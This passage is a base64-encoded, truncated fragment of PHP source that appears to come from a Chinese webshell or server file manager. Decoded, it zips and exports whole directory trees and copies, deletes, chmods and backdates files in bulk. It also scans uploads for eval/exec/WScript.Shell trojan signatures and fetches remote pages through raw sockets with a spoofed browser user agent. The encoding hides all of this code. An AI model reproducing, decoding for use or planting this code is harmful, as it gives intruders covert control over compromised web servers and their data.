GEpOwogICAgICAgICRjcmMgPSBjcmMzMigkZGF0YSk7CiAgICAgICAgJHpkYXRhID0gZ3pjb21wcmVzcygkZGF0YSk7CiAgICAgICAgJGNfbGVuID0gc3RybGVuKCR6ZGF0YSk7CiAgICAgICAgJHpkYXRhID0gc3Vic3RyKHN1YnN0cigkemRhdGEsIDAsIHN0cmxlbigkemRhdGEpIC0gNCksIDIpOwoKICAgICAgICAkZGF0YXN0ciA9ICJceDUwXHg0Ylx4MDNceDA0IjsKICAgICAgICAkZGF0YXN0ciAuPSAiXHgxNFx4MDAiOwogICAgICAgICRkYXRhc3RyIC49ICJceDAwXHgwMCI7CiAgICAgICAgJGRhdGFzdHIgLj0gIlx4MDhceDAwIjsKICAgICAgICAkZGF0YXN0ciAuPSAkaGV4ZHRpbWU7CiAgICAgICAgJGRhdGFzdHIgLj0gcGFjaygnVicsICRjcmMpOwogICAgICAgICRkYXRhc3RyIC49IHBhY2soJ1YnLCAkY19sZW4pOwogICAgICAgICRkYXRhc3RyIC49IHBhY2soJ1YnLCAkdW5jX2xlbik7CiAgICAgICAgJGRhdGFzdHIgLj0gcGFjaygndicsIHN0cmxlbigkbmFtZSkpOwogICAgICAgICRkYXRhc3RyIC49IHBhY2soJ3YnLCAwKTsKICAgICAgICAkZGF0YXN0ciAuPSAkbmFtZTsKICAgICAgICAkZGF0YXN0ciAuPSAkemRhdGE7CiAgICAgICAgJGRhdGFzdHIgLj0gcGFjaygnVicsICRjcmMpOwogICAgICAgICRkYXRhc3RyIC49IHBhY2soJ1YnLCAkY19sZW4pOwogICAgICAgICRkYXRhc3RyIC49IHBhY2soJ1YnLCAkdW5jX2xlbik7CgoKICAgICAgICBmd3JpdGUoJHRoaXMtPmZwLCAkZGF0YXN0cik7CiAgICAgICAgJG15X2RhdGFzdHJfbGVuID0gc3RybGVuKCRkYXRhc3RyKTsKICAgICAgICB1bnNldCgkZGF0YXN0cik7CgogICAgICAgICRkaXJzdHIgPSAiXHg1MFx4NGJceDAxXHgwMiI7CiAgICAgICAgJGRpcnN0ciAuPSAiXHgwMFx4MDAiOwogICAgICAgICRkaXJzdHIgLj0gIlx4MTRceDAwIjsKICAgICAgICAkZGlyc3RyIC49ICJceDAwXHgwMCI7CiAgICAgICAgJGRpcnN0ciAuPSAiXHgwOFx4MDAiOwogICAgICAgICRkaXJzdHIgLj0gJGhleGR0aW1lOwogICAgICAgICRkaXJzdHIgLj0gcGFjaygnVicsICRjcmMpOwogICAgICAgICRkaXJzdHIgLj0gcGFjaygnVicsICRjX2xlbik7CiAgICAgICAgJGRpcnN0ciAuPSBwYWNrKCdWJywgJHVuY19sZW4pOwogICAgICAgICRkaXJzdHIgLj0gcGFjaygndicsIHN0cmxlbigkbmFtZSkpOwogICAgICAgICRkaXJzdHIgLj0gcGFjaygndicsIDApOwogICAgICAgICRkaXJzdHIgLj0gcGFjaygndicsIDApOwogICAgICAgICRkaXJzdHIgLj0gcGFjaygndicsIDApOwogICAgICAgICRkaXJzdHIgLj0gcGFjaygndicsIDApOwogICAgICAgICRkaXJzdHIgLj0gcGFjaygnVicsIDMyKTsKICAgICAgICAkZGlyc3RyIC49IHBhY2soJ1YnLCAkdGhpcy0+ZGF0YXN0cl9sZW4pOwogICAgICAgICRkaXJzdHIgLj0gJG5hbWU7CgogICAgICAgICR0aGlzLT5kaXJzdHIgLj0gJGRpcnN0cjsKCiAgICAgICAgJHRoaXMtPmZpbGVfY291bnQrKzsKICAgICAgICAkdGhpcy0+ZGlyc3RyX2xlbiArPSBzdHJsZW4oJGRpcnN0cik7CiAgICAgICAgJHRoaXMtPmRhdGFzdHJfbGVuICs9ICRteV9kYXRhc3RyX2xlbjsKICAgIH0KCiAgICBmdW5jdGlvbiBhZGRkaXIoJG5hbWUpCiAgICB7CiAgICAgICAgJG5hbWUgPSBzdHJfcmVwbGFjZSgiXFwiLCAiLyIsICRuYW1lKTsKICAgICAgICAkZGF0YXN0ciA9ICJceDUwXHg0Ylx4MDNceDA0XHgwYVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgogICAgICAgICRkYXRhc3RyIC49IHBhY2soIlYiLCAwKSAuIHBhY2soIlYiLCAwKSAuIHBhY2soIlYiLCAwKSAuIHBhY2soInYiLCBzdHJsZW4oJG5hbWUpKTsKICAgICAgICAkZGF0YXN0ciAuPSBwYWNrKCJ2IiwgMCkgLiAkbmFtZSAuIHBhY2soIlYiLCAwKSAuIHBhY2soIlYiLCAwKSAuIHBhY2soIlYiLCAwKTsKCiAgICAgICAgZndyaXRlKCR0aGlzLT5mcCwgJGRhdGFzdHIpOwogICAgICAgICRteV9kYXRhc3RyX2xlbiA9IHN0cmxlbigkZGF0YXN0cik7CiAgICAgICAgdW5zZXQoJGRhdGFzdHIpOwoKICAgICAgICAkZGlyc3RyID0gIlx4NTBceDRiXHgwMVx4MDJceDAwXHgwMFx4MGFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwogICAgICAgICRkaXJzdHIgLj0gcGFjaygiViIsIDApIC4gcGFjaygiViIsIDApIC4gcGFjaygiViIsIDApIC4gcGFjaygidiIsIHN0cmxlbigkbmFtZSkpOwogICAgICAgICRkaXJzdHIgLj0gcGFjaygidiIsIDApIC4gcGFjaygidiIsIDApIC4gcGFjaygidiIsIDApIC4gcGFjaygidiIsIDApOwogICAgICAgICRkaXJzdHIgLj0gcGFjaygiViIsIDE2KSAuIHBhY2soIlYiLCAkdGhpcy0+ZGF0YXN0cl9sZW4pIC4gJG5hbWU7CgogICAgICAgICR0aGlzLT5kaXJzdHIgLj0gJGRpcnN0cjsKCiAgICAgICAgJHRoaXMtPmZpbGVfY291bnQrKzsKICAgICAgICAkdGhpcy0+ZGlyc3RyX2xlbiArPSBzdHJsZW4oJGRpcnN0cik7CiAgICAgICAgJHRoaXMtPmRhdGFzdHJfbGVuICs9ICRteV9kYXRhc3RyX2xlbjsKICAgIH0KCgogICAgZnVuY3Rpb24gY3JlYXRlZmlsZSgpCiAgICB7CiAgICAgICAgJGVuZHN0ciA9ICJceDUwXHg0Ylx4MDVceDA2XHgwMFx4MDBceDAwXHgwMCIgLgogICAgICAgICAgICBwYWNrKCd2JywgJHRoaXMtPmZpbGVfY291bnQpIC4KICAgICAgICAgICAgcGFjaygndicsICR0aGlzLT5maWxlX2NvdW50KSAuCiAgICAgICAgICAgIHBhY2soJ1YnLCAkdGhpcy0+ZGlyc3RyX2xlbikgLgogICAgICAgICAgICBwYWNrKCdWJywgJHRoaXMtPmRhdGFzdHJfbGVuKSAuCiAgICAgICAgICAgICJceDAwXHgwMCI7CgogICAgICAgIGZ3cml0ZSgkdGhpcy0+ZnAsICR0aGlzLT5kaXJzdHIgLiAkZW5kc3RyKTsKICAgICAgICBmY2xvc2UoJHRoaXMtPmZwKTsKICAgIH0KfQoKZnVuY3Rpb24gRmlsZV9BY3QoJGFycmF5LCAkYWN0YWxsLCAkaW52ZXIsICRSRUFMX0RJUikKewogICAgaWYgKCgkY291bnQgPSBjb3VudCgkYXJyYXkpKSA9PSAwKSByZXR1cm4gJ8fr0aHU8c7EvP4nOwogICAgaWYgKCRhY3RhbGwgPT0gJ2UnKSB7CiAgICAgICAgZnVuY3Rpb24gbGlzdGZpbGVzKCRkaXIgPSAiLiIsICRmYWlzdW5aSVAsICRteWRpcikKICAgICAgICB7CiAgICAgICAgICAgICRzdWJfZmlsZV9udW0gPSAwOwogICAgICAgICAgICBpZiAoaXNfZmlsZSgkbXlkaXIgLiAiJGRpciIpKSB7CiAgICAgICAgICAgICAgICBpZiAocmVhbHBhdGgoJGZhaXN1blpJUC0+Z3pmaWxlbmFtZSkgIT0gcmVhbHBhdGgoJG15ZGlyIC4gIiRkaXIiKSkgewogICAgICAgICAgICAgICAgICAgICRmYWlzdW5aSVAtPmFkZGZpbGUoZmlsZV9nZXRfY29udGVudHMoJG15ZGlyIC4gJGRpciksICIkZGlyIik7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIDE7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICByZXR1cm4gMDsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgJGhhbmRsZSA9IG9wZW5kaXIoJG15ZGlyIC4gIiRkaXIiKTsKICAgICAgICAgICAgd2hpbGUgKCRmaWxlID0gcmVhZGRpcigkaGFuZGxlKSkgewogICAgICAgICAgICAgICAgaWYgKCRmaWxlID09ICIuIiB8fCAkZmlsZSA9PSAiLi4iKSBjb250aW51ZTsKICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG15ZGlyIC4gIiRkaXIvJGZpbGUiKSkgewogICAgICAgICAgICAgICAgICAgICRzdWJfZmlsZV9udW0gKz0gbGlzdGZpbGVzKCIkZGlyLyRmaWxlIiwgJGZhaXN1blpJUCwgJG15ZGlyKTsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKHJlYWxwYXRoKCRmYWlzdW5aSVAtPmd6ZmlsZW5hbWUpICE9IHJlYWxwYXRoKCRteWRpciAuICIkZGlyLyRmaWxlIikpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGZhaXN1blpJUC0+YWRkZmlsZShmaWxlX2dldF9jb250ZW50cygkbXlkaXIgLiAkZGlyIC4gIi8iIC4gJGZpbGUpLCAiJGRpci8kZmlsZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAkc3ViX2ZpbGVfbnVtKys7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIGNsb3NlZGlyKCRoYW5kbGUpOwogICAgICAgICAgICBpZiAoISRzdWJfZmlsZV9udW0pICRmYWlzdW5aSVAtPmFkZGZpbGUoIiIsICIkZGlyLyIpOwogICAgICAgICAgICByZXR1cm4gJHN1Yl9maWxlX251bTsKICAgICAgICB9CgogICAgICAgIGZ1bmN0aW9uIG51bV9iaXR1bml0KCRudW0pCiAgICAgICAgewogICAgICAgICAgICAkYml0dW5pdCA9IGFycmF5KCcgQicsICcgS0InLCAnIE1CJywgJyBHQicpOwogICAgICAgICAgICBmb3IgKCRrZXkgPSAwOyAka2V5IDwgY291bnQoJGJpdHVuaXQpOyAka2V5KyspIHsKICAgICAgICAgICAgICAgIGlmICgkbnVtID49IHBvdygyLCAxMCAqICRrZXkpIC0gMSkgeyAvLzEwMjNCILvhz9TKvs6qIDFLQgogICAgICAgICAgICAgICAgICAgICRudW1fYml0dW5pdF9zdHIgPSAoY2VpbCgkbnVtIC8gcG93KDIsIDEwICogJGtleSkgKiAxMDApIC8gMTAwKSAuICIgJGJpdHVuaXRbJGtleV0iOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiAkbnVtX2JpdHVuaXRfc3RyOwogICAgICAgIH0KCiAgICAgICAgJG15ZGlyID0gJFJFQUxfRElSIC4gJy8nOwogICAgICAgIGlmIChpc19hcnJheSgkYXJyYXkpKSB7CiAgICAgICAgICAgICRmYWlzdW5aSVAgPSBuZXcgUEhQemlwOwogICAgICAgICAgICBpZiAoJGZhaXN1blpJUC0+c3RhcnRmaWxlKCIkaW52ZXIiKSkgewogICAgICAgICAgICAgICAgJGZpbGVudW0gPSAwOwogICAgICAgICAgICAgICAgZm9yZWFjaCAoJGFycmF5IGFzICRmaWxlKSB7CiAgICAgICAgICAgICAgICAgICAgJGZpbGVudW0gKz0gbGlzdGZpbGVzKCRmaWxlLCAkZmFpc3VuWklQLCAkbXlkaXIpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJGZhaXN1blpJUC0+Y3JlYXRlZmlsZSgpOwogICAgICAgICAgICAgICAgcmV0dXJuICLRucv1zeqzySy5ssztvNMgJGZpbGVudW0guPbOxLz+Ljxicj48YSBocmVmPSckaW52ZXInPrXju/fPwtTYICRpbnZlciAoIiAuIG51bV9iaXR1bml0KGZpbGVzaXplKCIkaW52ZXIiKSkgLiAiKTwvYT4iOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgcmV0dXJuICIkaW52ZXIgsrvE3NC0yOssx+u87LLpwre+trvyyKjP3srHt/HV/ci3Ljxicj4iOwogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgcmV0dXJuICLDu9PQ0aHU8bXEzsS8/rvyxL/CvC48YnI+IjsKICAgICAgICB9CgoKICAgIH0KICAgICRpID0gMDsKICAgIHdoaWxlICgkaSA8ICRjb3VudCkgewogICAgICAgICRhcnJheVskaV0gPSB1cmxkZWNvZGUoJGFycmF5WyRpXSk7CiAgICAgICAgc3dpdGNoICgkYWN0YWxsKSB7CiAgICAgICAgICAgIGNhc2UgImEiIDoKICAgICAgICAgICAgICAgICRpbnZlciA9IHVybGRlY29kZSgkaW52ZXIpOwogICAgICAgICAgICAgICAgaWYgKCFpc19kaXIoJGludmVyKSkgcmV0dXJuICfCt762tO3O8yc7CiAgICAgICAgICAgICAgICAkZmlsZW5hbWUgPSBhcnJheV9wb3AoZXhwbG9kZSgnLycsICRhcnJheVskaV0pKTsKICAgICAgICAgICAgICAgIEBjb3B5KCRhcnJheVskaV0sIEZpbGVfU3RyKCRpbnZlciAuICcvJyAuICRmaWxlbmFtZSkpOwogICAgICAgICAgICAgICAgJG1zZyA9ICe4tNbGtb0nIC4gJGludmVyIC4gJ8S/wrwnOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgImIiIDoKICAgICAgICAgICAgICAgIGlmICghQHVubGluaygkYXJyYXlbJGldKSkgewogICAgICAgICAgICAgICAgICAgIEBjaG1vZCgkZmlsZW5hbWUsIDA2NjYpOwogICAgICAgICAgICAgICAgICAgIEB1bmxpbmsoJGFycmF5WyRpXSk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkbXNnID0gJ8m+s/0nOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgImMiIDoKICAgICAgICAgICAgICAgIGlmICghcHJlZ19tYXRjaCgiL15bMC03XXs0fSQvaSIsICRpbnZlcikpIHJldHVybiAnyvTQ1Na1tO3O8yc7CiAgICAgICAgICAgICAgICAkbmV3bW9kZSA9IGJhc2VfY29udmVydCgkaW52ZXIsIDgsIDEwKTsKICAgICAgICAgICAgICAgIEBjaG1vZCgkYXJyYXlbJGldLCAkbmV3bW9kZSk7CiAgICAgICAgICAgICAgICAkbXNnID0gJ8r00NTQ3rjEzqonIC4gJGludmVyOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgImQiIDoKICAgICAgICAgICAgICAgIEB0b3VjaCgkYXJyYXlbJGldLCBzdHJ0b3RpbWUoJGludmVyKSk7CiAgICAgICAgICAgICAgICAkbXNnID0gJ9DeuMTKsbzkzqonIC4gJGludmVyOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgfQogICAgICAgICRpKys7CiAgICB9CiAgICByZXR1cm4gJ8v50aHOxLz+JyAuICRtc2cgLiAnzeqxzyc7Cn0KCmZ1bmN0aW9uIHN0YXJ0X3VuemlwKCR0bXBfbmFtZSwgJG5ld19uYW1lLCAkdG9kaXIgPSAnemlwZmlsZScpCnsKICAgICR6aXAgPSBuZXcgWmlwQXJjaGl2ZSgpOwogICAgaWYgKCR6aXAtPm9wZW4oJHRtcF9uYW1lKSAhPT0gVFJVRSkgewogICAgICAgIGVjaG8gJ7Gnx7ijodG5y/Ww/M7et6i08r+qu/LL8Lu1JzsKICAgIH0KICAgICR6aXAtPmV4dHJhY3RUbygkdG9kaXIpOwogICAgJHppcC0+Y2xvc2UoKTsKICAgIGVjaG8gJ73i0bnN6rHPo6EmbmJzcDsmbmJzcDsmbmJzcDs8YSBocmVmPSI/d2Vic2l0ZV89bWFpbiZwYXRoPScgLiB1cmxlbmNvZGUoJHRvZGlyKSAuICciPr34yOu94tG5xL/CvDwvYT4mbmJzcDsmbmJzcDsmbmJzcDs8YSBocmVmPSJqYXZhc2NyaXB0Omhpc3RvcnkuZ28oLTEpOyI+t7W72DwvYT4nOwp9CgpmdW5jdGlvbiBtdW1hKCRmaWxlY29kZSwgJGZpbGV0eXBlKQp7CiAgICAkZGltID0gYXJyYXkoCiAgICAgICAgInBocCIgPT4gYXJyYXkoImV2YWwoIiwgImV4ZWMoIiksCiAgICAgICAgImFzcCIgPT4gYXJyYXkoIldTY3JpcHQuU2hlbGwiLCAiZXhlY3V0ZSgiLCAiY3JlYXRldGV4dGZpbGUoIiksCiAgICAgICAgImFzcHgiID0+IGFycmF5KCJSZXNwb25zZS5Xcml0ZShldmFsKCIsICJSdW5DTUQoIiwgIkNyZWF0ZVRleHQoKSIpLAogICAgICAgICJqc3AiID0+IGFycmF5KCJydW50aW1lLmV4ZWMoIikKICAgICk7CiAgICBmb3JlYWNoICgkZGltWyRmaWxldHlwZV0gYXMgJGNvZGUpIHsKICAgICAgICBpZiAoc3RyaXN0cigkZmlsZWNvZGUsICRjb2RlKSkgcmV0dXJuIHRydWU7CiAgICB9Cn0KCmZ1bmN0aW9uIGRlYnVnKCRmaWxlLCAkZnR5cGUpCnsKICAgICR0eXBlID0gZXhwbG9kZSgnfCcsICRmdHlwZSk7CiAgICBmb3JlYWNoICgkdHlwZSBhcyAkaSkgewogICAgICAgIGlmIChzdHJpc3RyKCRmaWxlLCAkaSkpIHJldHVybiB0cnVlOwogICAgfQp9CgovKi0tLXN0cmluZy0tLSovCgpmdW5jdGlvbiBzdHJfcGF0aCgkcGF0aCkKewogICAgcmV0dXJuIHN0cl9yZXBsYWNlKCcvLycsICcvJywgJHBhdGgpOwp9CgpmdW5jdGlvbiBtc2coJG1zZykKewogICAgZGllKCI8c2NyaXB0PndpbmRvdy5hbGVydCgnIiAuICRtc2cgLiAiJyk7aGlzdG9yeS5nbygtMSk7PC9zY3JpcHQ+Iik7Cn0KCmZ1bmN0aW9uIHVwcGF0aCgkbm93cGF0aCkKewogICAgJG5vd3BhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIGRpcm5hbWUoJG5vd3BhdGgpKTsKICAgIHJldHVybiB1cmxlbmNvZGUoJG5vd3BhdGgpOwp9CgovKi0tLWh0bWwtLS0qLwoKZnVuY3Rpb24gaHRtbF9hKCR1cmwsICRuYW1lLCAkd2hlcmUgPSAnJykKewogICAgaHRtbF9uKCI8YSBocmVmPVwiJHVybFwiICR3aGVyZT4kbmFtZTwvYT4gIik7Cn0KCmZ1bmN0aW9uIGh0bWxfaW1nKCR1cmwpCnsKICAgIGh0bWxfbigiPGltZyBzcmM9XCI/aW1nPSR1cmxcIiBib3JkZXI9MD4iKTsKfQoKZnVuY3Rpb24gYmFjaygpCnsKICAgIGh0bWxfbigiPGlucHV0IHR5cGU9J2J1dHRvbicgdmFsdWU9J7e1u9gnIG9uY2xpY2s9J2hpc3RvcnkuYmFjaygpOyc+Iik7Cn0KCmZ1bmN0aW9uIGh0bWxfcmFkaW8oJG5hbWVpLCAkbmFtZXQsICR2MSwgJHYyKQp7CiAgICBodG1sX24oJzxpbnB1dCB0eXBlPSJyYWRpbyIgbmFtZT0icmV0dXJuIiB2YWx1ZT0iJyAuICR2MSAuICciIGNoZWNrZWQ+JyAuICRuYW1laSk7CiAgICBodG1sX24oJzxpbnB1dCB0eXBlPSJyYWRpbyIgbmFtZT0icmV0dXJuIiB2YWx1ZT0iJyAuICR2MiAuICciPicgLiAkbmFtZXQgLiAnPGJyPjxicj4nKTsKfQoKZnVuY3Rpb24gaHRtbF9pbnB1dCgkdHlwZSwgJG5hbWUsICR2YWx1ZSA9ICcnLCAkdGV4dCA9ICcnLCAkc2l6ZSA9ICcnLCAkbW9kZSA9IGZhbHNlKQp7CiAgICBpZiAoJG1vZGUpIHsKICAgICAgICBodG1sX24oIjxpbnB1dCB0eXBlPVwiJHR5cGVcIiBuYW1lPVwiJG5hbWVcIiB2YWx1ZT1cIiR2YWx1ZVwiIHNpemU9XCIkc2l6ZVwiIGNoZWNrZWQ+JHRleHQiKTsKICAgIH0gZWxzZSB7CiAgICAgICAgaHRtbF9uKCIkdGV4dCA8aW5wdXQgdHlwZT1cIiR0eXBlXCIgbmFtZT1cIiRuYW1lXCIgdmFsdWU9XCIkdmFsdWVcIiBzaXplPVwiJHNpemVcIj4iKTsKICAgIH0KfQoKZnVuY3Rpb24gaHRtbF9iYXNlKCkKewogICAgaHRtbF9uKCdmdW5jdGlvbiBiYXNlNjRlbmNvZGUoc3RyKXsKCXZhciBiYXNlNjRFbmNvZGVDaGFycyA9ICJBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OSsvIjsKICAgIHZhciBvdXQsIGksIGxlbjsKICAgIHZhciBjMSwgYzIsIGMzOwogICAgbGVuID0gc3RyLmxlbmd0aDsKICAgIGkgPSAwOwogICAgb3V0ID0gIiI7CiAgICB3aGlsZSAoaSA8IGxlbikgewogICAgICAgIGMxID0gc3RyLmNoYXJDb2RlQXQoaSsrKSAmIDB4ZmY7CiAgICAgICAgaWYgKGkgPT0gbGVuKSB7CiAgICAgICAgICAgIG91dCArPSBiYXNlNjRFbmNvZGVDaGFycy5jaGFyQXQoYzEgPj4gMik7CiAgICAgICAgICAgIG91dCArPSBiYXNlNjRFbmNvZGVDaGFycy5jaGFyQXQoKGMxICYgMHgzKSA8PCA0KTsKICAgICAgICAgICAgb3V0ICs9ICI9PSI7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIH0KICAgICAgICBjMiA9IHN0ci5jaGFyQ29kZUF0KGkrKyk7CiAgICAgICAgaWYgKGkgPT0gbGVuKSB7CiAgICAgICAgICAgIG91dCArPSBiYXNlNjRFbmNvZGVDaGFycy5jaGFyQXQoYzEgPj4gMik7CiAgICAgICAgICAgIG91dCArPSBiYXNlNjRFbmNvZGVDaGFycy5jaGFyQXQoKChjMSAmIDB4MykgPDwgNCkgfCAoKGMyICYgMHhGMCkgPj4gNCkpOwogICAgICAgICAgICBvdXQgKz0gYmFzZTY0RW5jb2RlQ2hhcnMuY2hhckF0KChjMiAmIDB4RikgPDwgMik7CiAgICAgICAgICAgIG91dCArPSAiPSI7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIH0KICAgICAgICBjMyA9IHN0ci5jaGFyQ29kZUF0KGkrKyk7CiAgICAgICAgb3V0ICs9IGJhc2U2NEVuY29kZUNoYXJzLmNoYXJBdChjMSA+PiAyKTsKICAgICAgICBvdXQgKz0gYmFzZTY0RW5jb2RlQ2hhcnMuY2hhckF0KCgoYzEgJiAweDMpIDw8IDQpIHwgKChjMiAmIDB4RjApID4+IDQpKTsKICAgICAgICBvdXQgKz0gYmFzZTY0RW5jb2RlQ2hhcnMuY2hhckF0KCgoYzIgJiAweEYpIDw8IDIpIHwgKChjMyAmIDB4QzApID4+IDYpKTsKICAgICAgICBvdXQgKz0gYmFzZTY0RW5jb2RlQ2hhcnMuY2hhckF0KGMzICYgMHgzRik7CiAgICB9CiAgICByZXR1cm4gb3V0Owp9CmZ1bmN0aW9uIHV0ZjE2dG84KHN0cikgewp2YXIgb3V0LCBpLCBsZW4sIGM7Cm91dCA9ICIiOwpsZW4gPSBzdHIubGVuZ3RoOwpmb3IoaSA9IDA7IGkgPCBsZW47IGkrKykgewpjID0gc3RyLmNoYXJDb2RlQXQoaSk7CmlmICgoYyA+PSAweDAwMDEpICYmIChjIDw9IDB4MDA3RikpIHsKb3V0ICs9IHN0ci5jaGFyQXQoaSk7Cn0gZWxzZSBpZiAoYyA+IDB4MDdGRikgewpvdXQgKz0gU3RyaW5nLmZyb21DaGFyQ29kZSgweEUwIHwgKChjID4+IDEyKSAmIDB4MEYpKTsKb3V0ICs9IFN0cmluZy5mcm9tQ2hhckNvZGUoMHg4MCB8ICgoYyA+PiA2KSAmIDB4M0YpKTsKb3V0ICs9IFN0cmluZy5mcm9tQ2hhckNvZGUoMHg4MCB8ICgoYyA+PiAwKSAmIDB4M0YpKTsKfSBlbHNlIHsKb3V0ICs9IFN0cmluZy5mcm9tQ2hhckNvZGUoMHhDMCB8ICgoYyA+PiA2KSAmIDB4MUYpKTsKb3V0ICs9IFN0cmluZy5mcm9tQ2hhckNvZGUoMHg4MCB8ICgoYyA+PiAwKSAmIDB4M0YpKTsKfQp9CnJldHVybiBvdXQ7Cn0KZnVuY3Rpb24gdXRmOHRvMTYoc3RyKSB7CiAgdmFyIG91dCwgaSwgbGVuLCBjOwogIHZhciBjaGFyMiwgY2hhcjM7CiAgb3V0ID0gIiI7CiAgbGVuID0gc3RyLmxlbmd0aDsKICBpID0gMDsKICB3aGlsZShpIDwgbGVuKSB7CiAgICBjID0gc3RyLmNoYXJDb2RlQXQoaSsrKTsKICAgIHN3aXRjaChjID4+IDQpIHsKICAgICAgY2FzZSAwOiBjYXNlIDE6IGNhc2UgMjogY2FzZSAzOiBjYXNlIDQ6IGNhc2UgNTogY2FzZSA2OiBjYXNlIDc6CiAgICAgICAgb3V0ICs9IHN0ci5jaGFyQXQoaS0xKTsKICAgICAgICBicmVhazsKICAgICAgY2FzZSAxMjogY2FzZSAxMzoKICAgICAgICBjaGFyMiA9IHN0ci5jaGFyQ29kZUF0KGkrKyk7CiAgICAgICAgb3V0ICs9IFN0cmluZy5mcm9tQ2hhckNvZGUoKChjICYgMHgxRikgPDwgNikgfCAoY2hhcjIgJiAweDNGKSk7CiAgICAgICAgYnJlYWs7CiAgICAgIGNhc2UgMTQ6CiAgICAgICAgY2hhcjIgPSBzdHIuY2hhckNvZGVBdChpKyspOwogICAgICAgIGNoYXIzID0gc3RyLmNoYXJDb2RlQXQoaSsrKTsKICAgICAgICBvdXQgKz0gU3RyaW5nLmZyb21DaGFyQ29kZSgoKGMgJiAweDBGKSA8PCAxMikgfAogICAgICAgICgoY2hhcjIgJiAweDNGKSA8PCA2KSB8CiAgICAgICAgKChjaGFyMyAmIDB4M0YpIDw8IDApKTsKICAgICAgICBicmVhazsKICAgIH0KICB9CiAgcmV0dXJuIG91dDsKfQonKTsKfQoKZnVuY3Rpb24gaHRtbF90ZXh0KCRuYW1lLCAkY29scywgJHJvd3MsICR2YWx1ZSA9ICcnKQp7CiAgICBodG1sX24oIjxicj48YnI+PHRleHRhcmVhIG5hbWU9XCIkbmFtZVwiIENPTFM9XCIkY29sc1wiIFJPV1M9XCIkcm93c1wiID4kdmFsdWU8L3RleHRhcmVhPiIpOwp9CgpmdW5jdGlvbiBodG1sX3NlbGVjdCgkYXJyYXksICRtb2RlID0gJycsICRjaGFuZ2UgPSAnJywgJG5hbWUgPSAnY2xhc3MnKQp7CiAgICBodG1sX24oIjxzZWxlY3QgbmFtZT0kbmFtZSAkY2hhbmdlPiIpOwogICAgZm9yZWFjaCAoJGFycmF5IGFzICRuYW1lID0+ICR2YWx1ZSkgewogICAgICAgIGlmICgkbmFtZSA9PSAkbW9kZSkgewogICAgICAgICAgICBodG1sX24oIjxvcHRpb24gdmFsdWU9XCIkbmFtZVwiIHNlbGVjdGVkPiR2YWx1ZTwvb3B0aW9uPiIpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGh0bWxfbigiPG9wdGlvbiB2YWx1ZT1cIiRuYW1lXCI+JHZhbHVlPC9vcHRpb24+Iik7CiAgICAgICAgfQogICAgfQogICAgaHRtbF9uKCI8L3NlbGVjdD4iKTsKfQoKZnVuY3Rpb24gR2V0SHRtbCgkdXJsKQp7CiAgICAkYyA9ICcnOwogICAgJHVzZXJhZ2VudCA9ICdNb3ppbGxhLzQuMCAoY29tcGF0aWJsZTsgTVNJRSA2LjA7IFdpbmRvd3MgTlQgNS4yKSc7CiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdmc29ja29wZW4nKSkgewogICAgICAgICRsaW5rID0gcGFyc2VfdXJsKCR1cmwpOwogICAgICAgICRxdWVyeSA9ICRsaW5rWydwYXRoJ10gLiAnPycgLiAkbGlua1sncXVlcnknXTsKICAgICAgICAkaG9zdCA9IHN0cnRvbG93ZXIoJGxpbmtbJ2hvc3QnXSk7CiAgICAgICAgJHBvcnQgPSAkbGlua1sncG9ydCddOwogICAgICAgIGlmICgkcG9ydCA9PSAiIikgewogICAgICAgICAgICAkcG9ydCA9IDgwOwogICAgICAgIH0KICAgICAgICAkZnAgPSBmc29ja29wZW4oJGhvc3QsICRwb3J0LCAkZXJybm8sICRlcnJzdHIsIDEwKTsKICAgICAgICBpZiAoJGZwKSB7CiAgICAgICAgICAgICRvdXQgPSAiR0VUIC97JHF1ZXJ5fSBIVFRQLzEuMFxyXG4iOwogICAgICAgICAgICAkb3V0IC49ICJIb3N0OiB7JGhvc3R9XHJcbiI7CiAgICAgICAgICAgICRvdXQgLj0gIlVzZXItQWdlbnQ6IE1vemlsbGEvNC4wIChjb21wYXRpYmxlOyBNU0lFIDYuMDsgV2luZG93cyBOVCA1LjIpXHJcbiI7CiAgICAgICAgICAgICRvdXQgLj0gIkNvbm5lY3Rpb246IENsb3NlXHJcblxyXG4iOwogICAgICAgICAgICBmd3JpdGUoJGZwLCAkb3V0KTsKICAgICAgICAgICAgJGluaGVhZGVyID0gMTsKICAgICAgICAgICAgd2hpbGUgKCFmZW9mKCRmcCkpIHsKICAgICAgICAgICAgICAgICRsaW5lID0gZmdldHMoJGZwLCA0MDk2KTsKICAgICAgICAgICAgICAgIGlmICgkaW5oZWFkZXIgPT0gMCkgewogICAgICAgICAgICAgICAgICAgICRjb250ZW50cyAuPSAkbGluZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIG